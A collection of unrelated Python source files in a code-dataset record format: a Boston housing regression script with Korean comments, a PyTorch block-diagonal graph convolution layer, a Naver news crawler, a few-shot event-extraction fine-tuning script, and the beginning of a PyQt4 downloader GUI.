<<-new!\ndtypes: float64(14)\nmemory usage: 55.5 KB\n\"\"\"\n\n## RM, ZN, INDUS, NOX, AGE, PTRATIO, LSTAT, RAD 의 총 8개의 컬럼\n## 값이 증가할수록 PRICE에 어떤 영향을 미치는지 분석하고 시각화\n\n# 2행 4열 그래프\n# 2개의 행과 4개의 열의 subplots 로 시각화, axs는 4x2개의 ax를 가짐\nfig, axs = plt.subplots(figsize=(16,8)\n , ncols=4\n , nrows=2)\n\nlm_features = ['RM', 'ZN', 'INDUS', 'NOX'\n , 'AGE', 'PTRATIO', 'LSTAT', 'RAD']\n\nfor i, feature in enumerate(lm_features):\n row = int(i / 4)\n col = i % 4\n # 시본(searborn)의 regplot을 이용해 산점도와 선형 회귀선을 출력\n sns.regplot(x= feature\n , y='PRICE'\n , data=bostonDF\n , ax=axs[row][col])\nplt.show()\n\n# RM(방개수)와 LSTAT(하위 계층의 비율)이 PRICE에 영향도가 가장 두드러지게 나타남\n# 1. RM(방개수)은 양 방향의 선형성(Positive Linearity)이 가장 큼\n# 방의 개수가 많을수록 가격이 증가하는 모습을 확연히 보여줌\n# 2. LSTAT(하위 계층의 비율)는 음 방향의 선형성(Negative Linearity)이 가장 큼\n# 하위 계층의 비율이 낮을수록 PRICE 가 증가하는 모습을 확연히 보여줌\n\n## LinearRegression 클래스를 이용해서 보스턴 주택 가격의 회귀 모델\n# train_test_split()을 이용해 학습과 테스트 데이터셋을 분리해서 학습과 예측을 수행\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error, r2_score\n\n# 'PRICE' 컬럼값을 y_target에 할당\ny_target = bostonDF['PRICE']\n\n# 데이터프레임에서 'PRICE' 컬럼을 삭제한 나머지 데이터를 리턴함\nx_data = bostonDF.drop(['PRICE']\n , axis=1\n , inplace=False)\n\n# 데이터프레임에서 'PRICE' 컬럼 삭제한 나머지 데이터를 반환\n# train data 와 test data로 분할 (7:3 비율로 분할)\nx_train, x_test, y_train, y_test = train_test_split(\n # 13개의 컬럼 데이터\n x_data\n # PRICE 컬럼 데이터\n , y_target\n # 테스트 데이터 30%\n , test_size=0.3\n # 난수 시드\n , random_state=156\n)\n# 난수 시드 값이 없을 경우 결정계수값이 계속 바뀌게 되므로 임의로 설정함\n\n#print('x_train :', x_train); print()\n#print('y_train :', y_train)\n\n## 선형회귀 모델생성/ 모델학습 / 모델예측 / 모델평가 수행\n\n# 모델생성\nmodel = LinearRegression()\n\n# 모델학습\nmodel.fit(x_train, y_train)\n\n# 모델예측 (13개의 컬럼 정보)\n# 예측값\ny_preds = model.predict(x_test)\n#print('y_preds: ', y_preds)\n\n# 모델평가 - r2_score(실제 데이터, 예측 데이터)\n# 실측값은 y_test 안에 들어가 있음, 예측값과 비교 필요\nprint('결정계수 :', r2_score(y_test, y_preds)) #결정계수 : 0.7572263323138921\nprint()\nprint('Variance score : {0:.3f}'.format(r2_score(y_test, y_preds)))\nprint()\n\n# boston 데이터셋을 boston.csv 파일로 저장\nbostonDF.to_csv('boston.csv', encoding='utf-8')\n\n# LinearRegression 으로 생성한 주택가격 모델의 회귀계수(coefficients)와 절편(intercept) 구하기\n# 회귀계수는 LinearRegression 객체의 coef_ 속성으로 구함\n# 절편은 LinearRegression 객체의 intercept_ 속성으로 구함\n#print('회귀계수값:', np.round(model.coef_, 1)) # 소수 첫째자리\nprint('회귀계수값:', model.coef_, 1)\nprint()\nprint('절편값:', model.intercept_)\nprint()\n\n# 회귀계수를 큰 값 순으로 정렬하기 위해서 Series로 생성함\ncoff = pd.Series(data=np.round(model.coef_, 1) # 소수 첫째자리\n , index=x_data.columns)\n# 회귀계수를 기준으로 내림차순 정렬\nprint(coff.sort_values(ascending=False))","sub_path":"20200318/2020_03_18/boston.py","file_name":"boston.py","file_ext":"py","file_size_in_byte":5283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"59755843","text":"import math\n\nimport torch\n\nfrom torch.nn.parameter import Parameter\nfrom torch.nn.modules.module import Module\n\n\nclass GraphConvolution(Module):\n \"\"\"\n Simple GCN layer, similar to https://arxiv.org/abs/1609.02907\n \"\"\"\n\n def __init__(self, in_features, out_features, partitions, layer_type, mode):\n super(GraphConvolution, self).__init__()\n # Input dimension\n self.in_features = in_features\n # Output dimension\n self.out_features = out_features\n # The list of partition indexes, Example: Three partitions [[0,3,7],[1,6,8],[2,4,7,9]]\n self.partitions = partitions\n\n # \"BD_layer_1\": First block diagonal layer\n # \"Fully_connect\": Fully connected layer\n self.layer_type = layer_type\n\n # Made for BD_layer_1\n # Mode 1: \"block_multiplication\" for block features\n # Mode 2: \"iterative_multiplication\" features to save space\n self.mode = mode\n\n if self.layer_type is \"Fully_connect\":\n # Fully connected layer, set the weight matrix to (in_features x out_features)\n self.weight = Parameter(torch.FloatTensor(in_features, out_features))\n # Initialize the weight\n self.reset_parameters()\n else:\n #self.weight = Parameter(torch.FloatTensor(in_features*len(partitions), out_features*len(partitions)))\n self.block_weight = self.initialize_weight()\n\n\n\n\n def initialize_weight(self):\n # Initialize the weight\n W = torch.FloatTensor(self.in_features, self.out_features)\n stdv = 1. / math.sqrt(W.size(1))\n W.data.uniform_(-stdv, stdv)\n # Iterate through the number of partitions\n for i in range(len(self.partitions)):\n if i is not 0:\n # Initialize the weight\n W_1 = torch.FloatTensor(self.in_features, self.out_features)\n stdv = 1. / math.sqrt(W_1.size(1))\n W_1.data.uniform_(-stdv, stdv)\n # Construct the Block diagonal weight matrix\n if self.mode is \"iterative_multiplication\":\n # Use concat instead of block_diag\n W = torch.cat((W, W_1))\n else:\n W = torch.block_diag(W,W_1)\n\n # Set it as torch nn parameter for back propagation\n if self.mode is \"iterative_multiplication\":\n # Remove all zeros from block weights to save space\n W = Parameter(W.reshape((-1,)))\n else:\n W = Parameter(W)\n #W = W + torch.full((W.shape), 0.001)\n return W\n\n\n def reset_parameters(self):\n stdv = 1. / math.sqrt(self.weight.size(1))\n self.weight.data.uniform_(-stdv, stdv)\n #if self.bias is not None:\n #self.bias.data.uniform_(-stdv, stdv)\n\n def forward(self, input, adj):\n if self.layer_type is \"Fully_connect\":\n # Fully connected layer\n #print(input.shape) # 10 x 3\n #print(self.weight.shape) # 3 x 16\n support = torch.mm(input, self.weight)\n #print(support.shape) # 10 x 16\n output = torch.spmm(adj, support)\n #print(output.shape) # 10 x 16\n elif self.layer_type is \"BD_layer_1\":\n # Block diagonal layer\n if self.mode is \"block_multiplication\":\n # If this Block diagonal layer is the first layer\n # Initialize the hidden block features with respect to the partition indices\n X = input[self.partitions[0]]\n for part in self.partitions:\n if self.partitions.index(part) is not 0:\n X = torch.block_diag(X,input[part])\n #print(X)\n #print(X.shape) # 10 x 9\n\n # Matrix Multiplication\n support = torch.mm(X, self.block_weight)\n output = torch.spmm(adj, support)\n elif self.mode is \"iterative_multiplication\":\n # Slice the non-zero block_weight matrix into len(self.partitions) weights,\n # each weight matrix has (self.in_features x self.out_features)\n weights = self.block_weight.view(len(self.partitions), self.in_features, -1)\n # Matrix multiplication iteratively to save space from block features\n S = torch.mm(input[self.partitions[0]], weights[0])\n for i in range(len(self.partitions)):\n if i is not 0:\n S = torch.block_diag(S,torch.mm(input[self.partitions[i]], weights[i]))\n output = torch.spmm(adj, S)\n\n else:\n # The second Block diagonal layer\n support = torch.mm(input, self.weight)\n output = torch.spmm(adj, support)\n\n return output\n\n\n def __repr__(self):\n return self.__class__.__name__ + ' (' \\\n + str(self.in_features) + ' -> ' \\\n + str(self.out_features) + ')'\n","sub_path":"Block_Diagonal_GCN-main/build/lib/block_diagonal_gcn/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"227104557","text":"# coding:'utf-8'\n\nfrom bs4 import BeautifulSoup\nimport urllib.request\nimport re\nimport csv\n\n\nOUTPUT_FILE_NAME = 'new_crawl.csv'\nTODAY = '20170828'\n\nURL_first = 'http://news.naver.com/main/list.nhn?'\nURL_sid2 = 'sid2='\nURL_sid1 = '&sid1='\nURL_date = '&mid=shm&mode=LS2D&date='\nURL_page = '&page='\n\n\n\nsid1_sid2 = [('100', '264'),('100','265'),('100','268'),('100','266'),('100','267'),('100', '269')]\\\n +[('101','259'),('101','258'),('101','261'), ('101','771'),('101','260'),('101','262')\\\n ,('101','310'),('101','263')]\\\n +[('102','249'),('102','250'),('102','251'),('102','254'),('102','252'), ('102','59b')\\\n ,('102','255'),('102','256'),('102','276'),('102','257')]\\\n +[('103','241'),('103','239'), ('103','240'),('103','237'),('103','238'),('103','376'),('103','242')\\\n ,('103','242'),('103','243'),('103','244'),('103','248'),('103','245')]\\\n +[('104','231'),('104','232'),('104','233'),('104','234'),('104','322')]\\\n +[('105','731'),('105','226'),('105','227'),('105','230'),('105','732')\\\n ,('105','283'),('105','229'),('105','228')]\n\nyear = ['2017','2016','2015']\nmonth = ['0'+str(i) for i in range(1,10)] +['10','11','12']\nday = ['0'+str(i) for i in range(1,10)]+[str(i) for i in range(10,32)]\nmonth.reverse()\nday.reverse()\n\ndef get_title(URL):\n source_code_from_URL = urllib.request.urlopen(URL)\n soup = BeautifulSoup(source_code_from_URL, 'html.parser', from_encoding='utf-8')\n title = ''\n for item in soup.find_all(id='articleTitle'):\n title = title + str(item.find(text=True))\n if title == '':\n title = title +str(soup.find('title').find(text=True))\n\n title = re.sub('\\[[.\\s\\S]*?\\]', '', title)\n title = re.sub('[\\n\\t\\r\\v>,]*', '', title)\n return title\n\n\ndef get_text(URL):\n source_code_from_URL = urllib.request.urlopen(URL)\n soup = BeautifulSoup(source_code_from_URL, 'html.parser', from_encoding='utf-8')\n text = ''\n rm_useless = re.compile('<[.\\s\\S]*?>')\n\n for item in soup.find_all('div', id='articleBodyContents'):\n text = text + str(item.find_all)\n\n if text == '':\n for item in soup.find_all('div', id='newsEndContents'):\n text = text + str(item.find_all)\n if text == '':\n for item in soup.find_all('div', id='articeBody'):\n text = text + str(item.find_all)\n\n text = re.sub(rm_useless, '', text)\n text = re.sub('\\[[.\\s\\S]*?\\]', '', text)\n text = re.sub('[\\n\\t\\r\\v>,]*', '', text)\n text = re.sub('\\/\\/ flash 오류를 우회하기 위한 함수 추가function _flash_removeCallback\\(\\) \\{\\}'\\\n , '', text)\n text = re.sub('\\([.\\s\\S]*?\\)', '', text)\n\n return text\n\ndef get_url_text(open_output_file):\n URL1 = URL_first\n for y in year:\n for m in month:\n for d in day:\n ymd = y + m + d\n if ymd > TODAY:\n continue\n for sid_tuple in sid1_sid2:\n URL2 = URL1 + URL_sid2 + sid_tuple[1] + URL_sid1 + sid_tuple[0] + URL_date\n\n URL3 = URL2 + ymd + URL_page\n\n check_page = ''\n push_article_to_file = []\n for page_num in range(1, 100):\n page_article_data = []\n the_article_url = ''\n URL4 = URL3 + str(page_num)\n source_url = urllib.request.urlopen(URL4)\n\n soup = BeautifulSoup(source_url, 'html.parser', from_encoding='utf-8')\n for soup2 in soup.find_all('div', id='main_content'):\n for soup3 in soup2.find_all('dt'):\n if soup3.find('img'):\n continue\n the_article_url = '' + str(soup3.find('a')['href'])\n\n page_article_data +=[[str(ymd), sid_tuple, get_title(the_article_url), \\\n get_text(the_article_url)]]\n if page_num == 100:\n break\n if check_page != the_article_url:\n check_page = '' + the_article_url\n else:\n break\n push_article_to_file+=page_article_data\n\n if page_num == 100:\n break\n for i in push_article_to_file:\n print (sid_tuple)\n open_output_file.writerow(i)\n\n if ymd == TODAY:\n return\n\n\n\ndef main():\n open_file = open(OUTPUT_FILE_NAME, 'w', encoding='utf-8')\n open_output_file = csv.writer(open_file,delimiter=',', quoting=csv.QUOTE_MINIMAL)\n\n get_url_text(open_output_file)\n open_file.close()\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"naver_news_crawling.py","file_name":"naver_news_crawling.py","file_ext":"py","file_size_in_byte":4936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"332939358","text":"# Sync TEST\nimport os\nimport argparse\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nfrom torch.utils import data\n\nfrom model import Net\n\nfrom consts import ARGUMENTS, TRIGGERS\nfrom data_load import ACE2005Dataset, ACE2005DatasetBase, ACE2005DatasetNovel, pad, all_triggers, all_entities, all_postags, tokenizer\nfrom utils import report_to_telegram, build_vocab\nfrom eval import eval, eval_module, eval_gating\nfrom prettytable import PrettyTable\n\n\ndef train(model, iterator, optimizer, criterion, module_mode=\"module\", argu_loss_weight=2):\n model.train()\n for i, batch in enumerate(iterator):\n tokens_x_2d, entities_x_3d, postags_x_2d, triggers_y_2d, arguments_2d, seqlens_1d, head_indexes_2d, words_2d, triggers_2d, srl_arguments, srl_triggers = batch\n optimizer.zero_grad()\n trigger_logits, triggers_y_2d, trigger_hat_2d, argument_hidden, argument_keys, trigger_info, auxiliary_feature, srl_gating_index_li = model.module.predict_triggers(tokens_x_2d=tokens_x_2d, entities_x_3d=entities_x_3d,\n postags_x_2d=postags_x_2d, head_indexes_2d=head_indexes_2d,\n triggers_y_2d=triggers_y_2d, arguments_2d=arguments_2d, srl_triggers=srl_triggers)\n\n trigger_logits = trigger_logits.view(-1, trigger_logits.shape[-1])\n trigger_loss = criterion(trigger_logits, triggers_y_2d.view(-1))\n loss = trigger_loss\n\n # if len(argument_keys) > 0:\n # argument_logits, arguments_y_1d, argument_hat_1d, argument_hat_2d = model.module.predict_arguments(argument_hidden, argument_keys, arguments_2d)\n # argument_loss = criterion(argument_logits, arguments_y_1d)\n # input('Look at batch shape')\n # print(arguments_y_1d.shape)\n # input('The shape of argument y 1d')\n # loss = trigger_loss + 2 * argument_loss\n # if i == 0:\n # print(\"=====sanity check for arguments======\")\n # print('arguments_y_1d:', arguments_y_1d)\n # print(\"arguments_2d[0]:\", arguments_2d[0]['events'])\n # print(\"argument_hat_2d[0]:\", argument_hat_2d[0]['events'])\n # print(\"=======================\")\n # else:\n # loss = trigger_loss\n if len(argument_keys) > 0:\n argu_logits_li = []\n for module_arg in ARGUMENTS:\n argument_logits, arguments_y_1d, argument_hat_1d, argument_hat_2d = model.module.module_predict_arguments(argument_hidden, argument_keys, arguments_2d, module_arg)\n # argument_loss = criterion(argument_logits, arguments_y_1d)\n # loss += 2 * argument_loss\n\n # meta classifier\n # module_decisions_logit, module_decisions_y, argument_hat_2d = model.module.meta_classifier(argument_keys, arguments_2d, trigger_info, argument_logits, argument_hat_1d, auxiliary_feature, module_arg)\n # module_decisions_logit = module_decisions_logit.view(-1)\n \n # decision_loss = decision_criterion(module_decisions_logit, module_decisions_y)\n # loss += 2 * decision_loss\n # argument_loss = criterion(argument_logits, arguments_y_1d)\n # loss += argu_loss_weight * argument_loss\n\n # for gating\n argu_logits_li.append(argument_logits)\n # get the slice of srl triggers\n srl_gating_triggers_li = []\n for srl_idx in srl_gating_index_li:\n srl_gating_triggers_li.append(srl_triggers[srl_idx])\n gating_logits, gating_arguments_y_1d, module_decisions_hat_1d, argument_hat_2d = model.module.module_gating(argu_logits_li, srl_gating_triggers_li, argument_keys, arguments_2d)\n # print('gating logtis',gating_logits)\n # print('gating y 1d', gating_arguments_y_1d)\n gating_loss = criterion(gating_logits, gating_arguments_y_1d)\n loss += argu_loss_weight * gating_loss\n\n # for module_arg in ARGUMENTS:\n # argument_logits, arguments_y_1d, argument_hat_1d, argument_hat_2d = model.module.module_predict_arguments(argument_hidden, argument_keys, arguments_2d, module_arg)\n # argument_loss = criterion(argument_logits, arguments_y_1d)\n # loss += 2 * argument_loss\n\n # if i == 0:\n # print(\"=====sanity check for arguments======\")\n # print('arguments_y_1d:', arguments_y_1d)\n # print(\"arguments_2d[0]:\", arguments_2d[0]['events'])\n # print(\"argument_hat_2d[0]:\", argument_hat_2d[0]['events'])\n # print(\"=======================\")\n #else:\n #loss = trigger_loss\n\n\n nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n loss.backward()\n\n optimizer.step()\n\n # if i == 0:\n # print(\"=====sanity check======\")\n # print(\"tokens_x_2d[0]:\", tokenizer.convert_ids_to_tokens(tokens_x_2d[0])[:seqlens_1d[0]])\n # print(\"entities_x_3d[0]:\", entities_x_3d[0][:seqlens_1d[0]])\n # print(\"postags_x_2d[0]:\", postags_x_2d[0][:seqlens_1d[0]])\n # print(\"head_indexes_2d[0]:\", head_indexes_2d[0][:seqlens_1d[0]])\n # print(\"triggers_2d[0]:\", triggers_2d[0])\n # print(\"triggers_y_2d[0]:\", triggers_y_2d.cpu().numpy().tolist()[0][:seqlens_1d[0]])\n # print('trigger_hat_2d[0]:', trigger_hat_2d.cpu().numpy().tolist()[0][:seqlens_1d[0]])\n # print(\"seqlens_1d[0]:\", seqlens_1d[0])\n # print(\"arguments_2d[0]:\", arguments_2d[0])\n # print(\"=======================\")\n\n if i % 100 == 0: # monitoring\n print(\"step: {}, loss: {}\".format(i, loss.item()))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--batch_size\", type=int, default=24)\n parser.add_argument(\"--ft_batch_size\", type=int, default=1)\n parser.add_argument(\"--lr\", type=float, default=0.00002)\n parser.add_argument(\"--n_epochs\", type=int, default=50)\n parser.add_argument(\"--logdir\", type=str, default=\"logdir\")\n parser.add_argument(\"--trainset\", type=str, default=\"data/train_srl.json\")\n parser.add_argument(\"--devset\", type=str, default=\"data/dev_srl.json\")\n parser.add_argument(\"--testset\", type=str, default=\"data/test_srl.json\")\n parser.add_argument(\"--module_arg\", type=str, default=\"all\")\n parser.add_argument(\"--module_output\", type=str, default=\"module_dir\")\n parser.add_argument(\"--model_load_name\", type=str, default=\"finetune_4.pt\")\n\n parser.add_argument(\"--model_save_name\", type=str, default=\"finetune_4_2_ft.pt\")\n parser.add_argument(\"--result_output\", type=str, default=\"meta_encoder_finetune_4_2\")\n parser.add_argument(\"--gpu\", type=str, default=\"0\")\n parser.add_argument(\"--loss_weight\", type=int, default=2)\n parser.add_argument(\"--module_mode\", type=str, default=\"module\")\n parser.add_argument(\"--eval_mode\", type=str, default='gating')\n\n\n parser.add_argument(\"--telegram_bot_token\", type=str, default=\"\")\n parser.add_argument(\"--telegram_chat_id\", type=str, default=\"\")\n\n parser.add_argument(\"--mix_train_dev\", type=bool, default=True)\n parser.add_argument(\"--shuffle_dataset\", type=bool, default=True)\n parser.add_argument(\"--dev_split\", type=float, default=0.05)\n parser.add_argument(\"--novel_shot\", type=int, default=5)\n parser.add_argument(\"--novel_event\", type=list, default= ['Justice:Convict', 'Personnel:Elect', 'Life:Marry', 'Business:Start-Org', 'Personnel:Start-Position', 'Conflict:Demonstrate', 'Justice:Arrest-Jail', 'Justice:Release-Parole', 'Justice:Trial-Hearing', 'Life:Injure'])\n parser.add_argument(\"--novel_way_num\", type=int, default=5)\n \n\n hp = parser.parse_args()\n\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = hp.gpu\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n if hp.module_arg == 'all':\n all_arguments, argument2idx, idx2argument = build_vocab(ARGUMENTS, BIO_tagging=False)\n elif hp.module_arg in ARGUMENTS:\n all_arguments, argument2idx, idx2argument = build_vocab([hp.module_arg], BIO_tagging=False)\n\n novel_event=hp.novel_event[:hp.novel_way_num]\n base_event = [item for item in TRIGGERS if item not in novel_event]\n \n # optimizer = optim.Adadelta(model.parameters(), lr=1.0, weight_decay=1e-2)\n\n criterion = nn.CrossEntropyLoss(ignore_index=0)\n\n\n if not os.path.exists(hp.logdir):\n os.makedirs(hp.logdir)\n\n if not os.path.exists(hp.module_output):\n os.makedirs(hp.module_output)\n\n\n dev_f1_max = 0\n\n\n metric_output = os.path.join(hp.module_output, hp.result_output)\n model_save_path = os.path.join(hp.module_output, hp.model_load_name)\n model = torch.load(model_save_path)\n if device == 'cuda':\n model = model.cuda()\n\n #model = nn.DataParallel(model)\n optimizer = optim.Adam(model.parameters(), lr=hp.lr)\n\n with open(metric_output, 'a') as fout:\n fout.write(\"----------------End of Pre-training on base set------------------\\n\\n\\n\")\n fout.write(\"----------------Finetune on novel set------------------\\n\")\n # finetune on novel set\n ft_train_dataset = ACE2005DatasetNovel(hp.trainset, all_arguments, argument2idx, novel_event=novel_event, novel_shot=hp.novel_shot)\n ft_dev_dataset = ACE2005DatasetNovel(hp.devset, all_arguments, argument2idx, novel_event=novel_event, novel_shot=5000)\n ft_test_dataset = ACE2005DatasetNovel(hp.testset, all_arguments, argument2idx, novel_event=novel_event, novel_shot=5000)\n samples_weight = ft_train_dataset.get_samples_weight()\n sampler = torch.utils.data.WeightedRandomSampler(samples_weight, len(samples_weight))\n\n ft_train_iter = data.DataLoader(dataset=ft_train_dataset,\n batch_size=hp.ft_batch_size,\n shuffle=False,\n sampler=sampler,\n num_workers=4,\n collate_fn=pad)\n ft_dev_iter = data.DataLoader(dataset=ft_dev_dataset,\n batch_size=hp.ft_batch_size,\n shuffle=False,\n num_workers=4,\n collate_fn=pad)\n ft_test_iter = data.DataLoader(dataset=ft_test_dataset,\n batch_size=hp.ft_batch_size,\n shuffle=False,\n num_workers=4,\n collate_fn=pad)\n\n for epoch in range(1, hp.n_epochs + 1):\n dev_table = PrettyTable(['Argument', 'F1', 'Num_proposed', 'Num_correct', 'Num_gold'])\n test_table = PrettyTable(['Argument', 'F1', 'Num_proposed', 'Num_correct', 'Num_gold'])\n\n train(model, ft_train_iter, optimizer, criterion)\n\n fname = os.path.join(hp.logdir, str(epoch))\n if hp.eval_mode=='gating':\n print(f\"=========GATING eval dev at epoch={epoch}=========\")\n metric_dev, dev_f1 = eval_gating(model, ft_dev_iter, fname + '_dev', idx2argument)\n\n print(f\"=========GATING eval test at epoch={epoch}=========\")\n metric_test, test_arg_f1 = eval_gating(model, ft_test_iter, fname + '_test', idx2argument)\n if dev_f1 >= dev_f1_max:\n dev_f1_max = dev_f1\n metric_output = os.path.join(hp.module_output, hp.result_output)\n model_save_path = os.path.join(hp.module_output, hp.model_save_name)\n torch.save(model, model_save_path)\n with open(metric_output, 'a') as fout:\n fout.write(f\"=========eval dev at epoch={epoch}=========\\n\")\n fout.write(metric_dev)\n fout.write(f\"\\n=========eval test at epoch={epoch}=========\\n\")\n fout.write(metric_test)\n fout.write('\\n\\n')\n elif hp.eval_mode=='module':\n dev_proposed, dev_correct, dev_gold = 0, 0, 0\n test_proposed, test_correct, test_gold = 0, 0, 0\n print(f\"=========eval dev at epoch={epoch}=========\")\n for module in ARGUMENTS:\n print('---------Argument={}---------'.format(module))\n metric_dev, dev_arg_f1, num_proposed, num_correct, num_gold = eval_module(model, ft_dev_iter, fname + '_dev', module, idx2argument)\n dev_proposed += num_proposed\n dev_correct += num_correct \n dev_gold += num_gold\n dev_table.add_row([module, round(dev_arg_f1,3), num_proposed, num_correct, num_gold])\n if dev_correct==0 or dev_proposed==0:\n dev_p = 0\n else:\n dev_p = dev_correct/dev_proposed\n dev_r = dev_correct/dev_gold\n if dev_p + dev_r ==0:\n dev_f1 = 0\n else:\n dev_f1 = dev_p*dev_r*2/(dev_p+dev_r)\n dev_table.add_row(['All', round(dev_f1, 3), dev_proposed, dev_correct, dev_gold])\n print(dev_table)\n \n\n print(f\"=========eval test at epoch={epoch}=========\")\n for module in ARGUMENTS:\n print('---------Argument={}---------'.format(module))\n metric_test, test_arg_f1, num_proposed, num_correct, num_gold = eval_module(model, ft_test_iter, fname + '_test', module, idx2argument)\n test_proposed += num_proposed\n test_correct += num_correct \n test_gold += num_gold\n test_table.add_row([module, round(test_arg_f1,3), num_proposed, num_correct, num_gold])\n if test_correct==0 or test_proposed==0:\n test_p = 0\n else:\n test_p = test_correct/test_proposed\n test_r = test_correct/test_gold\n if test_p + test_r ==0:\n test_f1 =0\n else:\n test_f1 = test_p*test_r*2/(test_p+test_r)\n test_table.add_row(['All', round(test_f1, 3), test_proposed, test_correct, test_gold])\n print(test_table)\n\n\n if dev_f1 >= dev_f1_max:\n dev_f1_max = dev_f1\n metric_output = os.path.join(hp.module_output, hp.result_output)\n model_save_path = os.path.join(hp.module_output, hp.model_save_name)\n torch.save(model, model_save_path)\n with open(metric_output, 'a') as fout:\n fout.write(f\"=========eval dev at epoch={epoch}=========\\n\")\n fout.write(dev_table.get_string())\n fout.write(f\"\\n=========eval test at epoch={epoch}=========\\n\")\n fout.write(test_table.get_string())\n fout.write('\\n\\n')\n else:\n print(f\"=========MULTI eval dev at epoch={epoch}=========\")\n metric_dev, dev_f1 = eval(model, ft_dev_iter, fname + '_dev', idx2argument)\n\n print(f\"=========MULTI eval test at epoch={epoch}=========\")\n metric_test, test_arg_f1 = eval(model, ft_test_iter, fname + '_test', idx2argument)\n if dev_f1 >= dev_f1_max:\n dev_f1_max = dev_f1\n metric_output = os.path.join(hp.module_output, hp.result_output)\n model_save_path = os.path.join(hp.module_output, 'finetune_'+hp.model_save_name)\n torch.save(model, model_save_path)\n with open(metric_output, 'a') as fout:\n fout.write(f\"=========eval dev at epoch={epoch}=========\\n\")\n fout.write(metric_dev)\n fout.write(f\"\\n=========eval test at epoch={epoch}=========\\n\")\n fout.write(metric_test)\n fout.write('\\n\\n')\n\n if hp.telegram_bot_token:\n report_to_telegram('[epoch {}] dev\\n{}'.format(epoch, metric_dev), TELEGRAM_BOT_TOKEN, TELEGRAM_CHAT_ID)\n report_to_telegram('[epoch {}] test\\n{}'.format(epoch, metric_test), TELEGRAM_BOT_TOKEN, TELEGRAM_CHAT_ID)\n\n\n","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":16059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"620857856","text":"# -*- coding: utf-8 -*-\n\nfrom PyQt4 import QtCore, QtGui\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nimport os\n\nfrom engine import DownloadLink\nfrom searcher import Crawler\nfrom progressbar import Ui_ProgressBar\n\nclass Ui_MainWindow(QtGui.QWidget):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(511, 388)\n \n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())\n \n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(511, 388))\n MainWindow.setMaximumSize(QtCore.QSize(511, 388))\n MainWindow.setMouseTracking(False)\n \n self.comboBox = QtGui.QComboBox(MainWindow)\n self.comboBox.setGeometry(QtCore.QRect(10, 10, 261, 22))\n self.comboBox.setObjectName(\"comboBox\")\n \n self.lineEdit = QtGui.QLineEdit(MainWindow)\n self.lineEdit.setGeometry(QtCore.QRect(10, 40, 411, 20))\n self.lineEdit.setObjectName(\"lineEdit\")\n \n self.pushButton = QtGui.QPushButton(MainWindow)\n self.pushButton.setGeometry(QtCore.QRect(430, 10, 75, 23))\n self.pushButton.setObjectName(\"pushButton\")\n \n self.pushButton_2 = QtGui.QPushButton(MainWindow)\n self.pushButton_2.setGeometry(QtCore.QRect(430, 40, 75, 23))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n \n self.pushButton_3 = QtGui.QPushButton(MainWindow)\n self.pushButton_3.setGeometry(QtCore.QRect(420, 360, 75, 23))\n self.pushButton_3.setObjectName(\"pushButton_3\")\n \n self.pushButton_4 = QtGui.QPushButton(MainWindow)\n self.pushButton_4.setGeometry(QtCore.QRect(340, 360, 75, 23))\n self.pushButton_4.setObjectName(\"pushButton_4\")\n \n self.lineEdit_2 = QtGui.QLineEdit(MainWindow)\n self.lineEdit_2.setGeometry(QtCore.QRect(10, 360, 321, 20))\n self.lineEdit_2.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.lineEdit_2.setReadOnly(True)\n self.lineEdit_2.setObjectName(\"lineEdit_2\")\n\n self.treeWidget = QtGui.QTreeWidget(MainWindow)\n self.treeWidget.setGeometry(QtCore.QRect(10, 70, 481, 281))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.treeWidget.sizePolicy().hasHeightForWidth())\n self.treeWidget.setSizePolicy(sizePolicy)\n self.treeWidget.setFrameShape(QtGui.QFrame.WinPanel)\n self.treeWidget.setFrameShadow(QtGui.QFrame.Sunken)\n self.treeWidget.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n self.treeWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers)\n self.treeWidget.setTabKeyNavigation(False)\n self.treeWidget.setObjectName(\"treeWidget\")\n\n self.treeWidget.setAlternatingRowColors(True)\n self.treeWidget.setRootIsDecorated(False)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n MainWindow.setTabOrder(self.comboBox, self.lineEdit)\n MainWindow.setTabOrder(self.lineEdit, self.pushButton_2)\n MainWindow.setTabOrder(self.pushButton_2, self.treeWidget)\n MainWindow.setTabOrder(self.treeWidget, self.pushButton_3)\n MainWindow.setTabOrder(self.pushButton_3, self.pushButton)\n MainWindow.setTabOrder(self.pushButton, self.pushButton_4)\n MainWindow.setTabOrder(self.pushButton_4, self.lineEdit_2)\n\n self.fillcomboBox()\n self.colortextbox()\n\n def retranslateUi(self, MainWindow):\n 